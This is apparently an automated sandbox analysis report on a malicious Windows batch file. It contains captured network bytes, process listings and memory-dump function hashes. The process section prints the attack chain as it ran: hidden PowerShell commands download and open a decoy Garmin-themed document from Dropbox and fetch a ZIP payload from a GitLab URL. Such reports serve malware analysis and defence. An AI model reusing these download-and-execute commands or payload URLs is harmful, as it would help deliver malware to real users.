https://gitlab.com/assets/
2024-12-19 13:20:17 UTC	494	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 72 78 69 4e 6d 53 32 5a 32 55 38 33 73 6e 46 57 49 54 4d 4d 42 65 69 4f 5a 39 50 58 39 56 39 32 56 69 68 68 59 58 34 4d 52 59 6b 61 45 58 46 61 58 38 75 43 5a 7a 45 36 43 72 62 74 6f 65 73 42 44 6d 45 6f 35 31 31 79 76 33 43 78 38 4d 52 72 54 68 70 76 44 4d 71 4a 54 62 32 36 71 53 4f 42 33 4b 4f 6b 45 71 61 33 36 47 4f 44 30 42 75 51 71 6f 73 50 6d 45 49 4b 46 63 59 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 4e 45 4c 3a 20 7b 22 73 75 63 63 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rxiNmS2Z2U83snFWITMMBeiOZ9PX9V92VihhYX4MRYkaEXFaX8uCZzE6CrbtoesBDmEo511yv3Cx8MRrThpvDMqJTb26qSOB3KOkEqa36GOD0BuQqosPmEIKFcY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"succ
2024-12-19 13:20:17 UTC	1369	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 5c b1 46 58 b9 e1 db da 47 27 00 00 0a 90 00 00 0b 00 00 00 4c 49 43 45 4e 53 45 2e 74 78 74 dc 5c 5d 73 db b8 92 7d 47 15 ff 03 4a 2f b1 eb d2 8c e5 4c 32 93 49 6d ed ca 12 6d f3 ae 2d 79 29 29 99 dc a7 4b 49 90 85 09 45 68 08 d2 1a cd af df ee 06 c0 0f 59 76 ec cc 57 ed 2a 55 8a 44 11 8d 46 a3 d1 7d 4e 03 74 2f e0 57 d1 78 32 8a 3f f3 d1 05 9f 5c 85 7c 3c ba 98 7c ea c5 a1 c7 fe e3 d1 97 c7 3c 76 bb 2b 56 2a e3 db 44 f3 79 2e 92 42 2c b8 cc 78 b1 12 5c 24 79 ba e3 dd f7 ef 4f 35 9f ed f8 65 29 17 8a df 27 19 8f 95 d6 e5 9a 27 05 1f 17 72 be 2a 64 76 e7 b1 9b 04 da ac 93 42 ea f9 8a f7 45 56 e4 70 cb 51 ff 53 e4 73 2d 04 5f 15 c5 46 ff f8 fa f5 76 bb 0d e6 5b 19 64 e9 b1 eb 67 28 e0 3d 4f 93 6c a1 3d 06 6a 24 5c 97 f3 b9 d0 Data Ascii: PK\FXG'LICENSE.txt\]s}GJ/L2Imm-y))KIEhYvWUDF}Nt/Wx2?\\|<\|<v+VDy.B,x\$yO5e)''r*dvBEVpQSs-_Fv[dg(=Ol=j$\
2024-12-19 13:20:17 UTC	1369	IN	Data Raw: 87 7c 4a 97 6e 3f 4f ae 46 c3 a7 30 f1 b3 5e 0d e0 5c 39 0d 2e d2 85 9a 97 08 97 4c ea c6 ab 76 12 1b 2e e4 b1 27 00 c9 b5 9d f3 8f 76 41 9c d1 80 61 0e 73 5a 8b 64 7d db fc 4d f0 43 f0 ce e7 e2 d7 64 bd 49 71 dd 81 09 e5 06 3f a0 26 c6 a3 e7 0a a6 41 66 26 9d 3e 54 6e 81 e0 e3 a1 86 14 4b 1e 68 e2 31 87 11 ff 25 72 75 d2 27 0f e4 e7 e3 81 93 60 54 55 6b 51 db 04 7d c7 40 19 a2 15 85 72 ca 4b 6d bb 83 00 b0 14 39 22 4c b7 72 03 f4 a9 c6 42 36 56 d4 28 81 86 4f 63 5a 82 53 a3 41 9c ce 49 d1 d2 c2 63 66 a2 2b 16 04 9e 31 1d 0e 7a e8 25 fc 3a ea 87 43 f0 88 8f 61 3c c6 ef 30 b2 93 17 bc 50 7a 17 fc 0f 49 80 13 d5 bb 8c c3 f0 26 1c 4e 70 60 33 51 6c 11 ee 3c 8d 3d 21 60 74 c0 ce 9d 63 bf c2 de 51 b6 90 f7 92 26 05 a8 cf a8 01 2d f9 51 c7 ce 87 e8 1c f3 84 d8 Data Ascii: \|Jn?OF0^\9.Lv.'vAasZd}MCdIq?&Af&>TnKh1%ru'`TUkQ}@rKm9"LrB6V(OcZSAIcf+1z%:Ca<0PzI&Np`3Ql<=!`tcQ&-Q
2024-12-19 13:20:17 UTC	1369	IN	Data Raw: ac 84 09 1a 83 8f 24 1c 30 79 9e f8 bc df e3 ef df 9e be ed 56 c8 d2 63 df 04 2d f7 a7 d0 63 6d 68 f9 14 9e e4 6d 38 e9 b1 36 fb 38 ea e0 34 3b a0 d0 39 fe 16 80 d9 2a 36 1f f0 0a df dd 61 13 e8 41 c4 79 52 43 4e 8f bd 0c 73 f2 c3 90 d3 63 2f c7 9c 7c 0f 72 b6 41 3d b1 e1 1a 55 fd 2e e4 f9 a0 4a ef ec 61 ea 1d 35 12 23 b7 71 7d fa cf e8 94 3f 05 c8 6c 97 35 cc 68 8f e8 25 60 c3 ae c4 bf 04 6f ec f7 f5 37 42 8e e6 9e de 0b 81 c7 77 81 1b c8 b7 61 0f f8 e6 b1 06 93 fe 1d 08 04 96 e7 98 37 11 08 61 0b bf 06 22 78 63 13 8a b4 c6 ed 5b 05 3d f6 07 80 8f b7 7f 2d f8 78 1c eb 54 88 e3 4e c1 52 ca cc 02 a2 10 9a 81 34 58 55 76 4f 16 ee 42 fc 81 9b 4b 85 76 99 12 8b 81 76 2b 68 5c a0 7e f0 a5 9f a4 12 22 51 26 13 2c 0f 21 57 c0 15 07 fa 2c 21 0e 15 c4 0a b0 19 85 Data Ascii: $0yVc-cmhm8684;9*6aAyRCNsc/\|rA=U.Ja5#q}?l5h%`o7Bwa7a"xc[=-xTNR4XUvOBKvv+h\~"Q&,!W,!
2024-12-19 13:20:17 UTC	1369	IN	Data Raw: ae e0 7a 9c e6 88 18 e0 b3 2b aa ed de f4 00 39 c0 5b 34 ee 5f 71 70 eb 49 3c bd e1 0d 40 78 7d dd 80 9e 00 d3 26 57 80 76 2e 7b 80 ca 26 23 f0 ae ab 68 dc 28 0d 03 86 ba 9e 0e 50 2c b6 b3 d0 b4 d9 fe 00 80 24 04 6a 21 24 4a 40 54 8a 78 67 62 d1 dd 57 54 ad 80 5f 0d 3f 2b f4 16 0d 07 51 1c f6 27 4f c2 38 6c 61 bf 7a ec 13 60 d4 f1 08 ba 8f 2d a6 c3 7e 2f e2 d1 8d 41 7b 54 2c 87 71 0e 7a 93 1e b6 bd 8d 47 a0 39 a8 fd e9 2a 44 00 86 ea f7 00 59 f6 fa 06 3a 5f 60 b7 93 18 be fa 7c 18 5e 5e 47 97 e1 b0 1f 56 58 10 4c 08 40 79 34 05 33 f7 0d 38 ef c5 91 39 36 39 9d 00 20 bc e0 23 12 09 42 86 21 dd 61 26 a0 02 d1 a0 41 18 c3 b0 6f 7a 24 f6 82 b7 e6 83 66 fa 5f 61 3c 3a 81 c9 c4 fb f1 a0 a0 8b 5d 17 64 93 41 88 f2 51 9e 8d 5e 83 51 7f 7a e3 b0 ff b7 44 ae 43 af Data Ascii: z+9[4_qpI<@x}&Wv.{&#h(P,$j!$J@TxgbWT_?+Q'O8laz`-~/A{T,qzG9*DY:_`\|^^GVXL@y438969 #B!a&Aoz$f_a<:]dAQ^QzDC
2024-12-19 13:20:17 UTC	1369	IN	Data Raw: 21 f2 21 9f 44 db 66 ec ab b4 df f1 1e c3 67 0e ec 1a 31 54 de 91 31 da e3 7a 19 41 62 8e 0c d5 b4 e8 e0 2e 4f f8 53 08 3a f7 e2 cf 0f 69 13 73 3c e9 e8 2b 23 07 03 f7 a7 b1 a9 06 c2 70 c7 d3 f3 f1 24 9a 4c 27 21 bb 1c 8d 06 44 bb c6 61 fc 11 d8 f7 f8 c3 c3 62 82 df a0 56 1f f0 f3 39 6e 11 e1 3c 44 c3 49 18 c7 d3 5b e4 42 c7 fc 6a f4 89 a8 5a 1f f9 fc 80 8c 38 1a da 9d b2 d0 fe e5 91 eb c8 da d8 67 0d 8e 56 d3 32 dc 95 ea 4f 1a b7 f1 91 a1 65 8d 31 b2 16 77 ab 77 ae 8e 2b ba 16 99 6e 69 c7 d1 30 b7 d6 41 c9 68 cc 9c fb 3d 6b fb 8a 4c d6 bf b2 b4 14 3c d8 66 05 93 13 7c fe b3 a6 0f ff 95 cc d7 f8 b7 12 18 e5 9b d7 2e f1 54 e7 5f bb c1 69 f0 03 ae c4 ee 1b cc 2b 3b 3a de f3 87 e6 46 ca ee cb a5 e4 27 fc 41 81 16 13 da d9 19 e7 bd 0c 53 fc 8e 5f 02 b4 cd 7c Data Ascii: !!Dfg1T1zAb.OS:is<+#p$L'!DabV9n<DI[BjZ8gV2Oe1ww+ni0Ah=kL<f\|.T_i+;:F'AS_\|
2024-12-19 13:20:17 UTC	1369	IN	Data Raw: 48 1a c8 06 67 e2 cd 7e 57 ee 30 e3 84 c2 5b 14 04 e2 81 20 cb 4c 16 1f 63 ae eb 9c 30 49 7a 0e 22 c9 0e d8 62 e4 b1 5d fd 57 a6 f9 e4 e8 ca c7 42 31 67 d8 0e a9 62 e4 03 a8 e9 11 61 05 a8 45 4b 83 fb 99 53 94 2a d8 ae 26 09 e1 6b 75 b3 77 02 99 39 21 90 f0 c0 34 67 a9 1a dd 7b 0a 1c d2 54 dc b1 27 b6 c6 6b 12 6b 3a 30 64 1d 18 5c ec c6 8c 0f 5d 6d bc 0f ef bc 4a ac 41 d3 d5 3c 3e 6c fd 85 f3 02 5d 23 26 0e 69 8d 8d f3 30 8b 20 9d ea ac a6 42 8c 6c 02 55 d7 fe 2d 07 40 d2 a6 ae 00 ff e2 97 62 91 97 59 6a a2 64 60 a2 6c 2b 5e 02 00 bf 75 91 e4 5d 10 16 c8 aa 6b c3 c1 91 32 a3 bb ae 29 a1 15 8f 52 57 86 2b af 25 0b 04 b4 41 a0 b7 cd a2 58 31 9b 3a 9a a4 b1 aa 1d e1 8f 70 b9 10 a2 8e 1f a1 5d 00 f7 22 d9 34 6a 94 59 c9 67 56 ad 44 9b c1 88 1c 64 07 61 e5 6d Data Ascii: Hg~W0[ Lc0Iz"b]WB1gbaEKS*&kuw9!4g{T'kk:0d\]mJA<>l]#&i0 BlU-@bYjd`l+^u]k2)RW+%AX1:p]"4jYgVDdam
2024-12-19 13:20:17 UTC	1369	IN	Data Raw: 49 c7 c8 d0 20 04 4b 20 8e 8e 05 c3 79 7f 28 4c 28 2d 76 38 66 3f 2a 24 59 7a 13 dd fe 2a af 8e 2d 32 64 d4 ec 1c a2 51 37 71 59 35 11 18 2b 0e 0e f8 56 ac 5b a5 fe 07 cc 5c bb 05 68 83 5b a1 49 47 67 c2 ae 0c 0f 45 06 08 85 5e bb d0 59 4f a1 d8 08 ed 83 7d 8e ce 9c bb 75 4b ab fa 81 a1 20 14 2a 4d 06 46 06 2e 8b a6 1c a0 1e 5d 31 d5 bd 62 f1 7b 4b 5a 91 6f 78 5b c6 47 04 b6 b1 7b 20 90 46 f5 a9 29 ff 58 37 8a 2d 64 b8 f6 3a 5a 49 dd 32 c1 cd 15 44 21 6e 0e 7f e1 b7 75 45 ad a0 60 69 bd 65 50 63 6b 08 c6 9b 7a cb 64 e9 27 c9 0b 22 c4 28 0a 3c 88 fd ca d9 e2 a7 e5 9e 18 b9 1b 44 5c 3f cc d3 23 05 79 c2 73 1f f3 06 84 b3 d3 13 a1 dc 2e 76 82 d9 06 66 b1 f4 5a 15 03 2e 27 ba 3d 21 b2 96 a9 0c 44 1b b4 81 db 03 ac 84 c8 97 7a 98 75 31 ed e3 10 18 8d 56 79 16 Data Ascii: I K y(L(-v8f?$Yz-2dQ7qY5+V[\h[IGgE^YO}uK *MF.]1b{KZox[G{ F)X7-d:ZI2D!nuE`iePckzd'"(<D\?#ys.vfZ.'=!Dzu1Vy
2024-12-19 13:20:17 UTC	1369	IN	Data Raw: d9 02 f6 b3 f3 a2 c4 db 01 45 ff e6 fc b7 e3 f7 67 f0 08 6c 8c 97 52 09 88 3a 6b 09 87 1a 8f 53 74 46 23 24 05 9a 98 d8 74 8d 2a 63 35 89 97 be d1 9f d9 f2 c6 f0 03 5e d3 d3 f7 5c 56 e2 56 dc 1e 75 0a 8a 39 d6 e4 e4 6d 97 43 9c a4 c5 78 f3 4b af a5 01 dd 21 f0 dc e2 5d 09 b7 da 96 7b 79 a5 07 af 0f df b7 f8 bd 2e fe ca da f7 cf e7 cf 9f ff 30 7f f6 23 26 7a 0e 9e cf b4 0a 72 92 f4 27 ef f6 cf dd 9b 7c 70 81 09 00 f9 08 ac 8b d6 31 4c 47 df d2 50 93 bf 88 da 96 92 57 80 7e 79 15 0c e0 57 62 48 eb 17 1c 50 00 48 e7 eb 24 d9 13 0f cd 77 92 3c a7 19 3f f9 e1 e9 b3 ef 30 b3 76 f0 62 86 2c 83 64 e6 69 7a 4f e3 3a 64 84 35 30 df 8d f0 04 ae bc e1 4f ef f5 56 c0 e9 dc c0 40 4c b9 c1 85 3a 02 e7 88 4b 4f b1 11 37 da c0 72 db 4f 12 52 d9 5c 3e 69 22 92 f6 8b 75 ff Data Ascii: EglR:kStF#$t*c5^\VVu9mCxK!]{y.0#&zr'\|p1LGPW~yWbHPH$w<?0vb,dizO:d50OV@L:KO7rOR\>i"u

Target ID:	0
Start time:	08:20:03
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\slifdgjsidfg19.bat" "
Imagebase:	0x7ff7e2bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	08:20:03
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	08:20:03
Start date:	19/12/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp.com 437
Imagebase:	0x7ff7f28f0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:20:03
Start date:	19/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fINdstr /L /I set "C:\Users\user\Desktop\slifdgjsidfg19.bat"
Imagebase:	0x7ff768440000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:20:03
Start date:	19/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fINdstr /L /I goto "C:\Users\user\Desktop\slifdgjsidfg19.bat"
Imagebase:	0x7ff768440000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:20:03
Start date:	19/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fINdstr /L /I echo "C:\Users\user\Desktop\slifdgjsidfg19.bat"
Imagebase:	0x7ff66e660000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:20:03
Start date:	19/12/2024
Path:	C:\Windows\System32\findstr.exe
Wow64 process (32bit):	false
Commandline:	fINdstr /L /I pause "C:\Users\user\Desktop\slifdgjsidfg19.bat"
Imagebase:	0x7ff768440000
File size:	36'352 bytes
MD5 hash:	804A6AE28E88689E0CF1946A6CB3FEE5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:20:03
Start date:	19/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find
Imagebase:	0x7ff647620000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:20:04
Start date:	19/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	fInd
Imagebase:	0x7ff647620000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:20:04
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c type tmp
Imagebase:	0x7ff7e2bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:20:04
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c type tmp
Imagebase:	0x7ff7e2bc0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:20:04
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	08:20:12
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx'"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	08:20:13
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip', 'C:\Users\Public\Document.zip')"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:20:29
Start date:	19/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD342E09CD Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263506033.00007FFD342E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd342e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8816882ee9159fe97e53cd0bf1bb856268913994f76c75c33ecdaa7768c868e7
Instruction ID: 2f67e42b1a0e7da8f9faad8f36eebc51418dba2ec70a0b3e318fb83cfb35e21c
Opcode Fuzzy Hash: 8816882ee9159fe97e53cd0bf1bb856268913994f76c75c33ecdaa7768c868e7
Instruction Fuzzy Hash: E4714B22A0EBC81FE756973858A55B63FD1DF97220F0C01EFE589C71A3D91A6847C352

Function 00007FFD342E3734 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263506033.00007FFD342E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd342e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6da9f39967b33a726caaf7860765b80f6842c5b95087590d3aa82356b733e77
Instruction ID: f663d9269b2638472b75463109e57d98d02b88fd7d3832b35ee7cb8dd070113d
Opcode Fuzzy Hash: d6da9f39967b33a726caaf7860765b80f6842c5b95087590d3aa82356b733e77
Instruction Fuzzy Hash: 28413932B0C9494FEB95DA9C94A0ABAB7D2EF5A311F1811FFC14DD3183DA2AA841D350

Function 00007FFD342E0C85 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263506033.00007FFD342E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd342e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37f8b91b7d0d80e968c18b0875c641cffb3efe77c37bc9f9ae002a0a9a9842f0
Instruction ID: 90bdacb5c2773f4da7f695d68dc5a270959df712e4c02e92cb5bdfc7edb91a08
Opcode Fuzzy Hash: 37f8b91b7d0d80e968c18b0875c641cffb3efe77c37bc9f9ae002a0a9a9842f0
Instruction Fuzzy Hash: 56118E20A4E3C50FE347A73458756693FA1AF43354F1901EEE1C9DA0E3C96D184AC312

Function 00007FFD342E0B44 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263506033.00007FFD342E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd342e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ac79b438161b69500f91b40a394ffdffe5ee7d0d53cfc3ac28403258c748c31
Instruction ID: 52e21a5c61f6bf0efbeee129d0ba317130d048ab4c53bc7d6cb6b11091cd45f6
Opcode Fuzzy Hash: 1ac79b438161b69500f91b40a394ffdffe5ee7d0d53cfc3ac28403258c748c31
Instruction Fuzzy Hash: 0001F532B0DA464FEBADA65C64A52B972D2FF4625474800BEE14DD21A3DD2EAC468300

Function 00007FFD342E375A Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263506033.00007FFD342E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD342E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd342e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc1a076e6b41092f12e5d640fd67a5f65ad6591cd142479bee28297afe81183f
Instruction ID: 2f35a40b06bb75653acbf87d099d7b59cc453a9f4875df448aa730a18711a25c
Opcode Fuzzy Hash: cc1a076e6b41092f12e5d640fd67a5f65ad6591cd142479bee28297afe81183f
Instruction Fuzzy Hash: 2E010476F096854FEB55DB5884A05BA7BE1EF5A311F1810FEC50DD7282CA2AA881D350

Function 00007FFD34214195 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263117393.00007FFD34210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90820f5cdce2b161a0ed0a401e74e50b30a3fe0fa551bcaef6deb398c1d91096
Instruction ID: da799351bdbae1487c01eeda1ac759e7a2f47685a0eaf3828ce2079be48aa56f
Opcode Fuzzy Hash: 90820f5cdce2b161a0ed0a401e74e50b30a3fe0fa551bcaef6deb398c1d91096
Instruction Fuzzy Hash: 2501677121CB0C4FDB44EF4CE451AA5B7E0FB99364F10056EE58AC3655D636E881CB45

Non-executed Functions

Function 00007FFD342146F2 Relevance: 1.6, Strings: 1, Instructions: 384COMMON

Download Yara Rule

Strings

4, xrefs: 00007FFD34214738

Memory Dump Source

Source File: 0000000D.00000002.2263117393.00007FFD34210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34210000_powershell.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 0e4e047e260604b7a2d2a9c2f9100795f936921100ebe6f5459256be9396ca35
Instruction ID: e289a56716122c0cc5021276d3b4f28983fbd450b316ae03f4b22df4b49df933
Opcode Fuzzy Hash: 0e4e047e260604b7a2d2a9c2f9100795f936921100ebe6f5459256be9396ca35
Instruction Fuzzy Hash: D0B1B55BB0E6C21EF762566C28B61E53FD0DF9326471A40F7C6DCDE093980E6C46E262

Function 00007FFD34216BFB Relevance: .7, Instructions: 658COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263117393.00007FFD34210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6e3a8dbacd5f8f0c07ac74cab0b4c3f4d69d0fb778295b0eeaaa7d101e9ebdc
Instruction ID: 47d2c5a287226bd47a9e6ba28d167768601860186be871caa834517f0b0621bc
Opcode Fuzzy Hash: f6e3a8dbacd5f8f0c07ac74cab0b4c3f4d69d0fb778295b0eeaaa7d101e9ebdc
Instruction Fuzzy Hash: 13122966B0D7860FE755DA2C88E55F93BE0EF93320B0400BEC6C5CB0A3E91AA847D751

Function 00007FFD3421534D Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263117393.00007FFD34210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 962ecaf4cf6fb5964fa3f6e1cbdb65bf36183186a8c3c9dceda1e30e83c09901
Instruction ID: d4b4d7ece2143452fbdff1bbb4df917d44d4d1592332169a5d61455d74fed022
Opcode Fuzzy Hash: 962ecaf4cf6fb5964fa3f6e1cbdb65bf36183186a8c3c9dceda1e30e83c09901
Instruction Fuzzy Hash: CA91086BB0E3D21FE7A2962C68B50E53FA0EF5322570900F7C5C8DB193DD1D688AE251

Function 00007FFD34213BF8 Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263117393.00007FFD34210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7ffd34210000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7343db392a098183ddfa2ae379be65040e0f8d10b0032e5e91dd2572bb549722
Instruction ID: 16eaa90b1e7a06bfc1b84ab48c0df36f17067c2d3b2847c42e5fa699c066168d
Opcode Fuzzy Hash: 7343db392a098183ddfa2ae379be65040e0f8d10b0032e5e91dd2572bb549722
Instruction Fuzzy Hash: C261656BB0E6D21FF753866C58B64E93FA1DF93224B0940FBC5C4DA093E90E5817E251

Function 00007FFD3421446D Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.2263117393.00007FFD34210000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34210000, based on PE: false

Joe Sandbox IDA Plugin

